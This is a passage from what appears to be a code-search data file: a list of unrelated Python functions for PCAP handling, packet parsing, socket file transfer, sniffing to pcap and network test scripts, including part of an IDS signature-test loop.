alerts\\n time.sleep(int(self.config.get('TIMING', 'sleepbeforegetalerts')))\\n\\n # Get new alerts and calculate new offset\\n self.getAlertsFile()\\n res = self.getAlertsFromOffset(self.config.get('PATHS', 'tempfile'), self.offset)\\n\\n # Sig matching\\n if pattern != \\\"\\\":\\n if re.search(pattern, res):\\n test_flag = 2\\n else:\\n if res == '':\\n test_flag = 0\\n else:\\n test_flag = 1\\n test_sig_match = pattern\\n else:\\n test_sig_match = None\\n test_flag = None\\n\\n test_alert = res\\n self.offset = self.getOffset(self.config.get('PATHS', 'tempfile'))\\n\\n database.DB(self._cnf).addTestResult((module, payload[1], test_dt_start,\\n test_dt_end, payload[0], test_port, test_proto, test_payload,\\n test_sig_match, res, test_flag))\\n\\n print \\\"[ done ]\\\"\\n \\n # Sleep before next test\\n time.sleep(int(self.config.get('TIMING', 'sleepbeforenexttest')))\\n self.testnum += 1\",\n \"def download_pcap(self, args=None):\\r\\n result = {\\\"Task\\\": \\\"DownloadPCAP\\\", \\\"Error\\\": \\\"NoError\\\", \\\"Status\\\": \\\"FileNotFound\\\", \\\"FileName\\\": args['filename'],\\r\\n \\\"FileSize\\\": 0, \\\"FileType\\\": \\\"UnKnown\\\", \\\"FileURL\\\": 'UnKnown', \\\"FileUser\\\": 'UnKnown'}\\r\\n with EndaceWebSession(app_url=self.applianceurl, username=self.username, password=self.password,\\r\\n cert_verify=self.cert_verify) as sess:\\r\\n api = EndaceVisionAPIAdapter(sess)\\r\\n path = \\\"files\\\"\\r\\n rf = api.get(path)\\r\\n if rf.status_code == 200:\\r\\n try:\\r\\n response = rf.json()\\r\\n except json.decoder.JSONDecodeError:\\r\\n raise Exception(f\\\"JsonDecodeError - path {path}\\\")\\r\\n else:\\r\\n meta = response.get(\\\"meta\\\", {})\\r\\n payload = response.get(\\\"payload\\\")\\r\\n if meta:\\r\\n meta_error = meta[\\\"error\\\"]\\r\\n if meta_error is not None:\\r\\n if meta_error is not False:\\r\\n result['Status'] = \\\"FileNotFound\\\"\\r\\n result['Error'] = str(meta_error)\\r\\n else:\\r\\n # Download PCAP File\\r\\n for file in payload:\\r\\n if result['FileName'] == file['name'] and len(file[\\\"id\\\"]):\\r\\n file_numerical_part = float(re.findall(r'[\\\\d\\\\.]+', file['usage'])[0])\\r\\n\\r\\n if 'KB' in file['usage']:\\r\\n filesize = file_numerical_part * 0.001\\r\\n elif 'GB' in file['usage']:\\r\\n filesize = file_numerical_part * 1000\\r\\n elif 'TB' in file['usage']:\\r\\n filesize = file_numerical_part * 1000000\\r\\n else:\\r\\n filesize = file_numerical_part * 1\\r\\n\\r\\n if filesize <= int(args['filesizelimit']):\\r\\n result['FileName'] = file['name'] + \\\".pcap\\\"\\r\\n if not file['status']['inUse']:\\r\\n # File available to download\\r\\n pcapfile_url_path = (\\\"files/%s/stream?format=pcap\\\" % file[\\\"id\\\"])\\r\\n d = api.get(pcapfile_url_path)\\r\\n if d.status_code == 200:\\r\\n demisto.results(fileResult(f'{result[\\\"FileName\\\"]}', d.content,\\r\\n file_type=entryTypes['entryInfoFile']))\\r\\n\\r\\n result['FileURL'] = f'[Endace PCAP URL]'\\\\\\r\\n f'({self.applianceurl}/vision2/data/'\\\\\\r\\n f'{pcapfile_url_path})'\\r\\n\\r\\n result['FileSize'] = file['usage']\\r\\n result['Status'] = \\\"DownloadFinished\\\"\\r\\n result['FileType'] = file['type']\\r\\n result['FileUser'] = file['user']\\r\\n else:\\r\\n result['Status'] = \\\"FileNotFound\\\"\\r\\n result['Error'] = f\\\"ServerError - HTTP {rf.status_code} to /{path}\\\"\\r\\n else:\\r\\n result['Status'] = \\\"FileInUse\\\"\\r\\n else:\\r\\n result['Status'] = \\\"FileExceedsSizeLimit\\\"\\r\\n else:\\r\\n result['Status'] = \\\"Failed\\\"\\r\\n result['Error'] = f\\\"ServerError - empty meta data from {path}\\\"\\r\\n else:\\r\\n result['Status'] = \\\"Failed\\\"\\r\\n result['Error'] = f\\\"ServerError - HTTP {rf.status_code} to /{path}\\\"\\r\\n\\r\\n if result['Status'] == 'Failed':\\r\\n self.handle_error_notifications(result['Error'])\\r\\n return result\",\n \"def filter(self):\\n # outfile = open(self.newpcap, 'wb')\\n # writer = dpkt.pcap.Writer(outfile)\\n f = open(self.pcapfile, 'rb')\\n packets = dpkt.pcap.Reader(f)\\n\\n for timestamp, buf in packets:\\n eth = dpkt.ethernet.Ethernet(buf)\\n if not isinstance(eth.data, dpkt.ip.IP): # 确保以太网数据包含一个IP数据包, Non IP Packet type not supported\\n continue # 过滤空IP包\\n ip = eth.data # 获取以太网帧（IP数据包）\\n if not isinstance(ip.data, dpkt.tcp.TCP): # 在传输层中检查TCP\\n continue\\n tcp = ip.data # 获取tcp数据\\n # print('-->TCP Data: ', repr(tcp))\\n\\n \\\"\\\"\\\" 过滤三次握手后的首包\\\"\\\"\\\"\\n seq = self.seq_pattern.findall(repr(tcp))\\n ack = self.ack_pattern.findall(repr(tcp))\\n if not (seq or ack): # seq、ack必须有一个, 一真即真\\n continue\\n if ack:\\n ack = ack[0]\\n if seq:\\n seq = seq[0]\\n\\n if not ack and seq: # 一次握手请求\\n self.hash_table[seq] = {}\\n self.stream_table[seq] = [buf]\\n if ack and seq: # 二次、三次、交流包\\n if str(int(ack) - 1) in self.hash_table.keys(): # 有一次握手记录\\n number = str(int(ack) - 1)\\n if 'second' not in self.hash_table[number].keys(): # 新增二次握手\\n self.hash_table[number]['second'] = {'seq': seq, 'ack': ack}\\n self.stream_table[number].append(buf) # 将二次握手添加到buf\\n self.resp_relation[seq] = ack # 新增关系表\\n\\n # 存在二次握手记录, 看hash表有无第三次握手记录, 有就保存stream流\\n # 基本就是traffic响应包了\\n elif 'three' in self.hash_table[number].keys():\\n if number not in self.stream_table.keys():\\n self.stream_table[number] = []\\n self.stream_table[number].append(buf)\\n else:\\n self.stream_table[number].append(buf)\\n\\n # ack-1没有对应的hash表, 可能是三次握手或traffic请求包\\n elif str(int(seq) - 1) in self.hash_table.keys():\\n number = str(int(seq) - 1)\\n if 'second' not in self.hash_table[number]:\\n pass\\n elif 'three' not in self.hash_table[number]: # 三次包\\n self.hash_table[number]['three'] = {'seq': seq, 'ack': ack}\\n self.stream_table[number].append(buf)\\n # 否则就是traffic包了\\n else:\\n if number not in self.stream_table.keys():\\n self.stream_table[number] = []\\n self.stream_table[number].append(buf)\\n else:\\n self.stream_table[number].append(buf)\\n # traffic响应包\\n elif str(int(seq) - 1) in self.resp_relation.keys():\\n number = str(int(seq) - 1)\\n second_ack = self.resp_relation[number]\\n number = str(int(second_ack) - 1)\\n if number not in self.stream_table.keys():\\n self.stream_table[number] = []\\n self.stream_table[number].append(buf)\\n else:\\n self.stream_table[number].append(buf)\\n else:\\n continue # seq不存在\\n\\n # outfile.close()\\n f.close()\",\n \"def goBackNSend(self, f):\\n size = Rudp.getFileSize(f)\\n log.info(\\\"File Size: \\\" + str(size))\\n\\n self.stopAndWaitSendData(Rudp.signature.encode())\\n self.stopAndWaitSendData(str(size).encode())\\n\\n # a list holding on-flight packets\\n sendList = []\\n # indicates the end of file\\n readEnd = False\\n # store recent acks for congestion control\\n ackList = []\\n\\n while (not readEnd) or (len(sendList)):\\n # fill sendList\\n packetToFill = RudpSender.sendWindow - len(sendList)\\n if packetToFill > 0:\\n for i in range(packetToFill):\\n data = self.__readNext(f)\\n if data:\\n p = self.send(data)\\n print(\\\"Packet Seq: \\\", p.seq, \\\" Added to Send List\\\")\\n sendList.append(p)\\n else:\\n readEnd = True\\n # try to receive ack\\n try: \\n while len(sendList):\\n ack = self.acknowledge()\\n print(\\\"Ack Received: \\\", ack)\\n self.mark(sendList, ack)\\n ackList.append(ack)\\n self.checkDupAcks(ackList)\\n sendList = Rudp.cleanPacketList(sendList)\\n except socket.timeout:\\n print(\\\"Timeout\\\")\\n self.resendPackets(sendList)\\n if RudpSender.enableCongestionControl:\\n self.congestionControl(RudpSender.LossEvent.Timeout) \\n except RudpSender.DupAcks:\\n print(\\\"Dupacks\\\")\\n ackList = []\\n self.resendPackets(sendList)\\n if RudpSender.enableCongestionControl:\\n self.congestionControl(RudpSender.LossEvent.DupAcks)\\n else:\\n if RudpSender.enableCongestionControl:\\n self.congestionControl(RudpSender.LossEvent.NoLoss)\",\n \"def file_request(self):\\n magic_number = int.to_bytes(int(0x497E), 2, byteorder='big') \\n type_bytes = int.to_bytes(1, 1, byteorder='big')\\n filename_in_bytes = bytes(self.file_name, 'utf-8') #ENCODE FILENAME IN BYTES\\n try:\\n filename_len = int.to_bytes(len(filename_in_bytes), 2, byteorder='big')\\n except OverflowError:\\n self.socket.close()\\n sys.exit(\\\"ERROR: Filename is too long, Stack Overflow\\\") \\n \\n message_to_send = bytearray(magic_number+type_bytes+filename_len+filename_in_bytes)\\n self.socket.send(message_to_send)\\n \\n #WAIT FOR FILE RESPONSE FROM SERVER\\n try:\\n self.socket.settimeout(1)\\n while True: #LOOP TO RECIEVE DATA IN CHUNKS <= 4096 BYTES\\n data = self.socket.recv(4096)\\n if data:\\n self.data += data\\n else:\\n break\\n\\n self.socket.settimeout(None)\\n self.socket.close()\\n\\n except socket.timeout:\\n self.socket.close()\\n sys.exit(\\\"ERROR: Connection timed out\\\")\",\n \"def read_service_loop(self):\\n\\t\\n\\t#Increment start_position each time packet sent, send a read request packet for each new position.\\n\\t#Expect to receive a read_response packet for each time read request sent.\\n\\trecv_data = None\\n\\tprint(\\\"Sending request to server to read and receive file...\\\")\\n\\tstart_position = 0\\n\\twhile(self.eof == False):\\n\\t print(\\\"Reading from byte \\\" + str(start_position))\\t \\n\\t num_retransmits = 0 \\n\\t #Loop for retransmissions of the same start position\\n\\t while(num_retransmits < 60):\\n\\t\\tnum_retransmits = num_retransmits + 1\\n\\t\\tself.send_read_request(start_position)\\n\\t\\tinput_socket = [self.client_socket]\\n\\t\\tinputready,outputready,exceptready = select.select(input_socket,[],[], 1)\\t\\t\\n\\t\\tif (inputready == []):\\n\\t\\t continue\\t\\t\\n\\t\\telse:\\n\\t\\t recv_data = self.client_socket.recv(self.buffer_)\\t\\t \\n\\t\\t if (random.uniform(0,1) < self.p):\\n\\t\\t\\trecv_data = None\\n\\t\\t\\tprint(\\\"Packet dropped randomly to simulate packet losses\\\")\\n\\t\\t\\tcontinue\\t\\t \\n\\t\\t bit_signature = recv_data[0:4]\\n\\t\\t response_type = recv_data[4:8]\\n\\t\\t recv_payload = recv_data[8:]\\t \\n\\t\\t if bit_signature != \\\"\\\\x00\\\\x00\\\\x00\\\\r\\\":\\n\\t\\t\\tself.recv_invalid_response(recv_data, \\\"bit_signature\\\")\\n\\t\\t\\tcontinue\\n\\t\\t else:\\n\\t\\t\\tif response_type == \\\"\\\\x00\\\\x00\\\\x00\\\\x02\\\":\\n\\t\\t\\t #Packet is valid, proceed to recv_read_response to append this bit of file received into local_filename\\n\\t\\t\\t self.file_append = open(self.local_filename, 'r+b')\\n\\t\\t\\t self.recv_read_response(recv_payload)\\n\\t\\t\\t break\\n\\t\\t\\telse:\\n\\t\\t\\t self.recv_invalid_response(recv_data, \\\"response_type\\\")\\n\\t\\t\\t continue\\n\\t\\t\\n\\t start_position = start_position + self.NUM_BYTES_TO_READ\\t\\t\\n\\t if (num_retransmits >= 60):\\n\\t\\tprint (\\\"Exceeded number of retransmissions allowed. Exiting program.\\\")\\n\\t\\tsys.exit()\\t \\t\\t\\n\\treturn\",\n \"def make_tdm_packet_list(bfile):\\n\\n tdm_list = []\\n\\n if os.path.exists(bfile):\\n with open(bfile, mode='rb') as f:\\n num_bytes = os.path.getsize(bfile)\\n while f.tell() < num_bytes:\\n ver_adf = f.read(1)\\n ver = int.from_bytes(ver_adf, byteorder='big') >> 4\\n adf_words = int.from_bytes(ver_adf, byteorder='big') & 0x0f\\n f.read(1) # Read byte. Field is RESERVED\\n flags = int.from_bytes(f.read(2), byteorder='big')\\n mdid = int.from_bytes(f.read(4), byteorder='big')\\n seqno = int.from_bytes(f.read(4), byteorder='big')\\n msglen = int.from_bytes(f.read(4), byteorder='big')\\n secs = int.from_bytes(f.read(4), byteorder='big')\\n nanosecs = int.from_bytes(f.read(4), byteorder='big')\\n hdrlen = 24 + (adf_words * 4)\\n adf_payload = ''\\n if adf_words > 0:\\n adf_payload = f.read(adf_words * 4)\\n payloadlen = msglen - hdrlen\\n payload = f.read(payloadlen)\\n\\n new_msg = TmnsDataMessage(ver=ver, flags=flags, mdid=mdid, seqno=seqno, msglen=msglen, secs=secs,\\n nanosecs=nanosecs, adf_payload=adf_payload, payload=payload)\\n tdm_list.append(new_msg)\\n return tdm_list\\n else:\\n print(\\\"The file '{0}' was not found.\\\".format(bin))\\n return tdm_list\",\n \"def get_pcap_by_id():\\n sample_id = demisto.getArg('id')\\n r = req('GET', SUB_API + 'samples/' + sample_id + '/network.pcap')\\n ec = {'ThreatGrid.Sample.Id': sample_id}\\n demisto.results([\\n {\\n 'Type': entryTypes['note'],\\n 'EntryContext': ec,\\n 'HumanReadable': '### ThreatGrid Sample Run PCAP File -\\\\n'\\n + 'Your sample run PCAP file download request has been completed successfully for '\\n + sample_id,\\n 'Contents': ec,\\n 'ContentsFormat': formats['json']\\n },\\n fileResult(sample_id + '-pcap.json', r.content)\\n ])\",\n \"def drop_packets(self, verbose=False):\\n while True:\\n try:\\n packet, address = self._socket.recvfrom(10240)\\n except:\\n break\\n\\n if verbose:\\n logger.debug(\\\"dropped %d bytes from %s:%d\\\", len(packet), address[0], address[1])\",\n \"def test_controller_buffer_randomized() -> None:\\n # Note that this code, since it was written, broke even furthere. For instance, some of the\\n # attributes accessed by this test don't exist any more (see the `type: ignore[attr-defined]`\\n # comments).\\n\\n test_directory = os.path.dirname(os.path.abspath(__file__))\\n datafile_path = \\\"%s/response_samples.txt\\\" % (test_directory)\\n\\n gdbmi = GdbController()\\n for stream in gdbmi._incomplete_output.keys(): # type: ignore[attr-defined]\\n responses = []\\n with open(datafile_path, \\\"rb\\\") as f:\\n while True:\\n n = random.randint(1, 100)\\n # read random number of bytes to simulate incomplete responses\\n gdb_mi_simulated_output = f.read(n)\\n if gdb_mi_simulated_output == b\\\"\\\":\\n break # EOF\\n\\n # let the controller try to parse this additional raw gdb output\\n responses += gdbmi._get_responses_list(gdb_mi_simulated_output, stream) # type: ignore[attr-defined]\\n assert len(responses) == 141\\n\\n # spot check a few\\n assert responses[0] == {\\n \\\"message\\\": None,\\n \\\"type\\\": \\\"console\\\",\\n \\\"payload\\\": \\\"0x00007fe2c5c58920 in __nanosleep_nocancel () at ../sysdeps/unix/syscall-template.S:81\\\\\\\\n\\\",\\n \\\"stream\\\": stream,\\n }\\n if not USING_WINDOWS:\\n # can't get this to pass in windows\\n assert responses[71] == {\\n \\\"stream\\\": stream,\\n \\\"message\\\": \\\"done\\\",\\n \\\"type\\\": \\\"result\\\",\\n \\\"payload\\\": None,\\n \\\"token\\\": None,\\n }\\n assert responses[82] == {\\n \\\"message\\\": None,\\n \\\"type\\\": \\\"output\\\",\\n \\\"payload\\\": \\\"The inferior program printed this! Can you still parse it?\\\",\\n \\\"stream\\\": stream,\\n }\\n assert responses[137] == {\\n \\\"stream\\\": stream,\\n \\\"message\\\": \\\"thread-group-exited\\\",\\n \\\"type\\\": \\\"notify\\\",\\n \\\"payload\\\": {\\\"exit-code\\\": \\\"0\\\", \\\"id\\\": \\\"i1\\\"},\\n \\\"token\\\": None,\\n }\\n assert responses[138] == {\\n \\\"stream\\\": stream,\\n \\\"message\\\": \\\"thread-group-started\\\",\\n \\\"type\\\": \\\"notify\\\",\\n \\\"payload\\\": {\\\"pid\\\": \\\"48337\\\", \\\"id\\\": \\\"i1\\\"},\\n \\\"token\\\": None,\\n }\\n assert responses[139] == {\\n \\\"stream\\\": stream,\\n \\\"message\\\": \\\"tsv-created\\\",\\n \\\"type\\\": \\\"notify\\\",\\n \\\"payload\\\": {\\\"name\\\": \\\"trace_timestamp\\\", \\\"initial\\\": \\\"0\\\"},\\n \\\"token\\\": None,\\n }\\n assert responses[140] == {\\n \\\"stream\\\": stream,\\n \\\"message\\\": \\\"tsv-created\\\",\\n \\\"type\\\": \\\"notify\\\",\\n \\\"payload\\\": {\\\"name\\\": \\\"trace_timestamp\\\", \\\"initial\\\": \\\"0\\\"},\\n \\\"token\\\": None,\\n }\\n\\n for stream in gdbmi._incomplete_output.keys(): # type: ignore[attr-defined]\\n assert gdbmi._incomplete_output[stream] is None # type: ignore[attr-defined]\",\n \"def receive_captured_list(self):\\n reply = self.socket.recv(4096)\\n print(\\\"Pokemon capturados\\\")\\n print(reply[1:].decode())\",\n \"def _write_test_dump(pcap_file, dump):\\n\\t\\tfor packet in dump:\\n\\t\\t\\twrpcap(pcap_file, packet, append=True)\",\n \"def _parse(self):\\n \\n global _tcp_buf\\n _tcp_buf = {}\\n number = 1\\n for raw_packet in self.raw_packets:\\n pcap_packet = Pcap_packet()\\n self.pcap_packets.append(pcap_packet)\\n pcap_packet.pcap_num = number\\n number += 1\\n pcap_packet.top_layer = 1\\n pcap_packet.ethernet = Ethernet(raw_packet[0:14])\\n \\n #skip the packet that is not ip packet\\n if (pcap_packet.ethernet.type != 'IP'):\\n continue\\n \\n pcap_packet.top_layer = 2\\n pcap_packet.ip = Ip(raw_packet[14:])\\n \\n #skip the packet that is not tcp message\\n if (pcap_packet.ip.protocol != 'TCP'):\\n continue\\n \\n pcap_packet.top_layer = 3\\n pcap_packet.tcp = Tcp(pcap_packet.ip.packet[pcap_packet.ip.header_len: ])\\n \\n #skip the packets that is not http packet\\n if (pcap_packet.tcp.src_port != 80 and pcap_packet.tcp.dst_port != 80):\\n continue\\n \\n #dispatch the tcp into tcp streams\\n self._add_pkt_into_tcp_stream(pcap_packet, pcap_packet.pcap_num)\\n \\n #reassemble tcp packet\\n self._tcp_reassemble(pcap_packet.pcap_num, pcap_packet.ip.src, pcap_packet.ip.dst, pcap_packet.tcp)\\n #endof for\\n #flush the tcp_buf, other wise it will lose some http response\\n for sockets in _tcp_buf.keys():\\n self._tcp_flush(sockets)\\n del _tcp_buf[sockets]\",\n \"def replay_tdm_stream_to_pcap_output(bfile=None, mdid_list=None, pcap=None):\\n\\n tdm_list = make_tdm_packet_list(bfile)\\n tdm_cnt = len(tdm_list)\\n pkt_list = []\\n\\n for i, tdm in enumerate(tdm_list):\\n if tdm.mdid in mdid_list:\\n ip_addr = mdid_list[tdm.mdid].dst_addr\\n dport = mdid_list[tdm.mdid].dst_port\\n else:\\n ip_addr = '239.88.88.88' # Default IP address to use IF MDID is not found in the MDL file\\n dport = 50003 # Default UDP destination port to use IF MDID is not found in the MDL file\\n msg_ip_hdr = IP(version=4, ihl=5, flags='DF', ttl=4, dst=ip_addr)\\n msg = msg_ip_hdr / UDP(sport=55501, dport=dport) / Raw(tdm.get_raw())\\n\\n pkt_list.append(msg)\\n\\n wrpcap(pcap, pkt_list, append=True)\\n print(\\\"Wrote {0} TDMs to the PCAP file: {1}\\\".format(tdm_cnt, pcap))\",\n \"def generate_packets():\\n num_packets = randrange(10)\\n temp_packets = []\\n for i in range(num_packets):\\n temp_packets.append(randrange(1000))\\n return temp_packets\",\n \"def main():\\n connection = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.htons(0x03))\\n\\n # Start the main loop.\\n while True:\\n # 65536 is the biggest buffer size that can be used.\\n raw_data, addr = connection.recvfrom(65536)\\n dest_mac, src_mac, eth_proto, data = ethernet_frame(raw_data)\\n print('\\\\nEthernet Frame:')\\n print('Destination: {}, Source: {}, Protocol: {}'.format(dest_mac, src_mac, eth_proto))\",\n \"def process_message(msg):\\n global fout\\n print(\\\"received \\\")\\n if len(msg)==200: #is header or end\\n msg_in=msg.decode(\\\"utf-8\\\",\\\"ignore\\\")\\n msg_in=msg_in.split(\\\",,\\\")\\n if msg_in[0]==\\\"header\\\": #header\\n filename=extract_file_data(msg_in[1])\\n file_out=\\\"copy-\\\"+filename\\n fout=open(file_out,\\\"wb\\\") #use a different filename\\n\\n if msg_in[0]==\\\"end\\\": #is it really last packet?\\n in_hash_final=in_hash_md5.hexdigest()\\n if in_hash_final==msg_in[2]:\\n print(\\\"File copied OK -valid hash \\\",in_hash_final)\\n else:\\n print(\\\"Bad file receive \\\",in_hash_final)\\n return False\\n else:\\n if msg_in[0]!=\\\"header\\\":\\n in_hash_md5.update(msg)\\n return True\\n else:\\n return False\\n else:\\n in_hash_md5.update(msg)\\n #msg_in=msg.decode(\\\"utf-8\\\",\\\"ignore\\\")\\n if len(msg) <100:\\n print(msg)\\n return True\",\n \"def main():\\n # Set up socket\\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\\n s.bind(('localhost', 12345))\\n dat = b''\\n dataSegement = [0] * 5\\n\\n while True:\\n seg, addr = s.recvfrom(MAX_DGRAM)\\n print(\\\"type: \\\", type(seg))\\n chunk_number = struct.unpack(\\\"B\\\", seg[0:1])[0]\\n if chunk_number > 1:\\n print(\\\"chunk_number: \\\", chunk_number)\\n dat += seg[1:]\\n else:\\n dat += seg[1:]\\n img = cv2.imdecode(np.frombuffer(dat, dtype=np.uint8), 1)\\n cv2.imwrite(\\\"image/4k_image_sample_compressed.jpg\\\", img)\\n if cv2.waitKey(1) & 0xFF == ord(\\\"q\\\"):\\n break\\n dat = b\\\"\\\"\",\n \"def main():\\n parser = argparse.ArgumentParser(description='Convert DJI P3 packets sniffed from a serial link into pcap format')\\n\\n parser.add_argument('port1',\\n help='The serial port to read from')\\n\\n parser.add_argument('port2',\\n help='The serial port to read from')\\n\\n parser.add_argument('-b', '--baudrate', default=115200, type=int,\\n help='The baudrate to use for the serial port (defaults to %(default)s)')\\n\\n parser.add_argument('-u', '--userdlt', default=0, type=int,\\n help='The data link type of the PCap DLT_USER protocol (defaults to %(default)s)')\\n\\n parser.add_argument('-e', '--storebad', action='store_true',\\n help='Enables storing bad packets (ie. with bad checksums)')\\n\\n output = parser.add_mutually_exclusive_group()\\n\\n output.add_argument('-q', '--quiet', action='store_true',\\n help='Do not output any informational messages')\\n\\n output.add_argument('-v', '--verbose', action='count', default=0,\\n help='Increases verbosity level; max level is set by -vvv')\\n\\n output = parser.add_mutually_exclusive_group()\\n\\n output.add_argument('-F', '--fifo',\\n help='Write output to a fifo instead of stdout. The fifo is created if needed and capturing does not start until the other side of the fifo is opened.')\\n\\n output.add_argument('-w', '--write-file',\\n help='Write output to a file instead of stdout')\\n\\n options = parser.parse_args();\\n\\n try:\\n # If the fifo got closed, just start over again\\n while True:\\n do_sniff_once(options)\\n except KeyboardInterrupt:\\n pass\",\n \"def main():\\n\\n radio = initialize_radios(0, 25, 0x60)\\n\\n radio.openWritingPipe(pipes[0])\\n radio.openReadingPipe(0, pipes[1])\\n\\n print(\\\"Sender Information\\\")\\n radio.printDetails()\\n\\n payload_list = list()\\n\\n out = False\\n count = 0\\n actual_ack = None\\n while not out:\\n radio.startListening()\\n wait_for_data(radio)\\n\\n # recv_buffer is the array where received data will be placed\\n recv_buffer = []\\n radio.read(recv_buffer, radio.getDynamicPayloadSize())\\n chunk_and_ack = recv_buffer[:-5]\\n ack_num = recv_buffer[-7:-5]\\n crc = recv_buffer[-5:]\\n data = recv_buffer[:-7]\\n ack_num_str = bytes(ack_num).decode('utf-8'\\n ''\\n ''\\n ''\\n ''\\n ''\\n ''\\n ''\\n ''\\n ''\\n ''\\n ''\\n ''\\n ''\\n )\\n data_str = bytes(data)\\n\\n radio.stopListening()\\n if (actual_ack != ack_num_str) and (data_str != b'TH1SPR0GRAMSHOULDBEOVER'):\\n if check_crc(chunk_and_ack, crc):\\n send_packet(radio, b'1GUTACK')\\n payload_list.append(bytes(data))\\n actual_ack = ack_num_str\\n print(\\\"Sent ACK number \\\" + str(count))\\n count = count + 1\\n else:\\n send_packet(radio, b'1BATACK')\\n elif (actual_ack == ack_num_str) and (data_str != b'TH1SPR0GRAMSHOULDBEOVER'):\\n send_packet(radio, b'1GUTACK')\\n elif (actual_ack != ack_num_str) and data_str == b'TH1SPR0GRAMSHOULDBEOVER':\\n print(\\\"Finishing Script\\\")\\n time.sleep(0.5)\\n send_packet(radio, b'TH1SISTH3FINALACK')\\n out = True\\n\\n write_file(sys.argv[1], payload_list)\",\n \"def insert_bad_data():\\n get_file_reply(files[2][0], files[2][1])\",\n \"def testParse(self):\\n parser = pcap.PcapParser()\\n storage_writer = self._ParseFile(['test.pcap'], parser)\\n\\n # PCAP information:\\n # Number of streams: 96 (TCP: 47, UDP: 39, ICMP: 0, Other: 10)\\n #\\n # For each stream 2 events are generated one for the start\\n # and one for the end time.\\n\\n self.assertEqual(storage_writer.number_of_events, 192)\\n\\n events = list(storage_writer.GetEvents())\\n\\n # Test stream 3 (event 6).\\n # Protocol: TCP\\n # Source IP: 192.168.195.130\\n # Dest IP: 63.245.217.43\\n # Source Port: 1038\\n # Dest Port: 443\\n # Stream Type: SSL\\n # Starting Packet: 4\\n # Ending Packet: 6\\n\\n event = events[6]\\n self.assertEqual(event.packet_count, 3)\\n self.assertEqual(event.protocol, 'TCP')\\n self.assertEqual(event.source_ip, '192.168.195.130')\\n self.assertEqual(event.dest_ip, '63.245.217.43')\\n self.assertEqual(event.dest_port, 443)\\n self.assertEqual(event.source_port, 1038)\\n self.assertEqual(event.stream_type, 'SSL')\\n self.assertEqual(event.first_packet_id, 4)\\n self.assertEqual(event.last_packet_id, 6)\\n\\n # Test stream 6 (event 12).\\n # Protocol: UDP\\n # Source IP: 192.168.195.130\\n # Dest IP: 192.168.195.2\\n # Source Port: 55679\\n # Dest Port: 53\\n # Stream Type: DNS\\n # Starting Packet: 4\\n # Ending Packet: 6\\n # Protocol Data: DNS Query for wpad.localdomain\\n\\n event = events[12]\\n self.assertEqual(event.packet_count, 5)\\n self.assertEqual(event.protocol, 'UDP')\\n self.assertEqual(event.source_ip, '192.168.195.130')\\n self.assertEqual(event.dest_ip, '192.168.195.2')\\n self.assertEqual(event.dest_port, 53)\\n self.assertEqual(event.source_port, 55679)\\n self.assertEqual(event.stream_type, 'DNS')\\n self.assertEqual(event.first_packet_id, 11)\\n self.assertEqual(event.last_packet_id, 1307)\\n self.assertEqual(\\n event.protocol_data, 'DNS Query for wpad.localdomain')\\n\\n expected_message = (\\n 'Source IP: 192.168.195.130 '\\n 'Destination IP: 192.168.195.2 '\\n 'Source Port: 55679 '\\n 'Destination Port: 53 '\\n 'Protocol: UDP '\\n 'Type: DNS '\\n 'Size: 380 '\\n 'Protocol Data: DNS Query for wpad.localdomain '\\n 'Stream Data: \\\\'\\\\\\\\xb8\\\\\\\\x9c\\\\\\\\x01\\\\\\\\x00\\\\\\\\x00\\\\\\\\x01\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00'\\n '\\\\\\\\x00\\\\\\\\x00\\\\\\\\x04wpad\\\\\\\\x0blocaldomain\\\\\\\\x00\\\\\\\\x00\\\\\\\\x01\\\\\\\\x00\\\\\\\\x01\\\\\\\\xb8'\\n '\\\\\\\\x9c\\\\\\\\x01\\\\\\\\x00\\\\\\\\x00\\\\\\\\x01\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00\\\\\\\\x00\\\\\\\\x04wpa\\\\' '\\n 'First Packet ID: 11 '\\n 'Last Packet ID: 1307 '\\n 'Packet Count: 5')\\n expected_short_message = (\\n 'Type: DNS '\\n 'First Packet ID: 11')\\n\\n self._TestGetMessageStrings(event, expected_message, expected_short_message)\",\n \"def test_data_too_big(self):\\n self.client_socket.sendto(b'', DATA_SOCKET_FILE)\\n (bytes, address) = self.client_socket.recvfrom(10)\\n\\n #self.assertEquals(address, DATA_SOCKET_FILE)\\n\\n # assert a successful registration\\n self.assertEqual(len(bytes), 1)\\n self.assertEqual(bytes[0], 0)\\n\\n data = bytearray(100)\\n self.assertEqual(len(data), 100)\\n self.client_socket.sendto(data, DATA_SOCKET_FILE)\\n (bytes, address) = self.client_socket.recvfrom(10)\\n # assert a successful transmission\\n self.assertEqual(len(bytes), 1)\\n self.assertEqual(bytes[0], 1)\",\n \"def main():\\n args = TrafficScriptArg(\\n [u\\\"src_mac\\\", u\\\"dst_mac\\\", u\\\"src_ip\\\", u\\\"dst_ip\\\", u\\\"dscp\\\"]\\n )\\n\\n rxq = RxQueue(args.get_arg(u\\\"rx_if\\\"))\\n txq = TxQueue(args.get_arg(u\\\"tx_if\\\"))\\n\\n src_mac = args.get_arg(u\\\"src_mac\\\")\\n dst_mac = args.get_arg(u\\\"dst_mac\\\")\\n src_ip = args.get_arg(u\\\"src_ip\\\")\\n dst_ip = args.get_arg(u\\\"dst_ip\\\")\\n dscp = int(args.get_arg(u\\\"dscp\\\"))\\n\\n ip_layer = IPv6 if ip_address(src_ip).version == 6 else IP\\n\\n sent_packets = list()\\n pkt_send = (Ether(src=src_mac, dst=dst_mac) /\\n ip_layer(src=src_ip, dst=dst_ip) /\\n TCP())\\n\\n pkt_send /= Raw()\\n sent_packets.append(pkt_send)\\n txq.send(pkt_send)\\n\\n while True:\\n pkt_recv = rxq.recv(2, sent_packets)\\n if pkt_recv is None:\\n raise RuntimeError(u\\\"ICMPv6 echo reply Rx timeout\\\")\\n\\n if pkt_recv.haslayer(ICMPv6ND_NS):\\n # read another packet in the queue if the current one is ICMPv6ND_NS\\n continue\\n elif pkt_recv.haslayer(ICMPv6MLReport2):\\n # read another packet in the queue if the current one is\\n # ICMPv6MLReport2\\n continue\\n elif pkt_recv.haslayer(ICMPv6ND_RA):\\n # read another packet in the queue if the current one is\\n # ICMPv6ND_RA\\n continue\\n\\n # otherwise process the current packet\\n break\\n\\n if pkt_recv is None:\\n raise RuntimeError(u\\\"Rx timeout\\\")\\n\\n if ip_layer == IP:\\n check_ipv4(pkt_recv, 